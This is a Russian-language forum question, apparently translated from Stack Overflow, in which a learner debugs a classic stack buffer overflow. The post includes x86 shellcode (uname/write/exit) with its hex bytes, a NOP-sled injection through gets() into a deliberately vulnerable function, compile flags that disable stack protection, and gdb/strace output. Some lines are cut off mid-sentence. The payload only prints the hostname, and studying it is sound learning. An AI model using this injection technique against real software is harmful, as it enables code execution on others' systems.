Я пытаюсь изучить основы переполнения буфера, поэтому я написал следующий код для его вставки в буфер:
//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;" //ebx point to buffer
"xorl %eax, %eax;" //erase data in register
"addb $0x7a, %al;" //syscall number
"int $0x80;" //raise interruption
//write(fd, *buf, size)
"movb $0x04, %al;" //syscall number
"xorl %ebx, %ebx;" //erase data in register
"movb $0x01, %bl;" //add 1 as file descriptor
"lea 0x41(%esp), %ecx;" //get address where hostname is
"xorl %edx, %edx;" //erase data in register
"addb $0x05, %dl;" //set buffer size (as I only want "Kali" string)
"int $0x80;" //raise interruption
//exit(0)
"movb $0x01, %al;" //syscall number
"xorl %ebx, %ebx;" //set 0 in register
"int $0x80;" //raise interruption
Приведенный выше код работает и имеет следующий байт-код (который также работает):
\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80
Эта строка с некоторыми NOP и адресом в конце, указывающим на стек, передается целевой программе через уязвимую функцию get () .При выполнении видно, что системный вызов uname вызывается в следующем выводе команды strace :
(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault
Что я не понимаю, так это почему при проверке дампа ядра в gdbчтобы понять, почему возникает ошибка сегментации, я не вижу своего байт-кода нигде во всем стеке.Может быть, это перезаписывает uname?Потому что в теории достаточно места, 390 байт.Я что-то упустил?
Спасибо
ОБНОВЛЕНИЕ:
Уязвимая функция, вызываемая main, выглядит следующим образом:
void function() {
char buf[100];
gets(buf);
printf(buf);
}
Я выполнил пошаговую отладку с помощью gdb, и байт-код правильно помещен в стек, но я не могу (не знаю, как) выполнить команды отладки, выполняемые в стеке.
Как видно извывод strace (который указывает, какие системные вызовы вызываются двоичным файлом), последнее, что нужно сделать, это вызов uname .Вот почему теория перезаписи инструкций в стеке (eip при возникновении ошибки сегментации: 0xbffff350).
Здесь значения стека перед возвратом к основному (на самом деле, он вернетв начало адреса стека):
(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff300: 0x90 0x90 0x81 0xc4 0x7a 0xfe 0xff 0xff
0xbffff308: 0x89 0xe3 0x31 0xc0 0x04 0x7a 0xcd 0x80
0xbffff310: 0xb0 0x04 0x31 0xdb 0xb3 0x01 0x8d 0x4c
0xbffff318: 0x24 0x41 0x31 0xd2 0x80 0xc2 0x05 0xcd
0xbffff320: 0x80 0xb0 0x01 0x31 0xdb 0xcd 0x80 0x90
0xbffff328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
Кроме того, при запуске исполняемого файла и передаче байт-кода в gdb (run
UPDATE2:
Также при запуске исполняемого файла и передаче байт-кода в gdb (run
На самом деле это что-то печатает.Иногда слово «kali» (так работает правильно), а иногда просто байт или два.
UPDATE3:
Выход GDB при запуске с ядромdump это:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbffff350 in ?? ()
Вызывает uname функцию и выдает ошибку сегментации.
Выход GDB при запуске программы внутри (run
��[Inferior 1 (process 5271) exited normally]
Таким образом, он что-то печатает, а затем завершает работу.
Компиляция программы выполняется с помощью следующих параметров:
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c
UPDATE4:
Я изменил 390 на 500 , чтобы быть кратным 4, как указал @Jester в комментариях.Теперь он работает в терминале, но не в GDB, а в новом терминале.Я думаю, что это связано с тем фактом, что они имеют другую структуру памяти, поэтому адрес в конце байт-кода должен быть изменен.
Вопросы
1.- Когда GDB не используется для выполнения уязвимой программы, почему возникает ошибка сегментации и почему байт-код не отображается нигде в стеке, когдаанализировать дамп ядра?
2.- Когда gdb используется для выполнения программы (run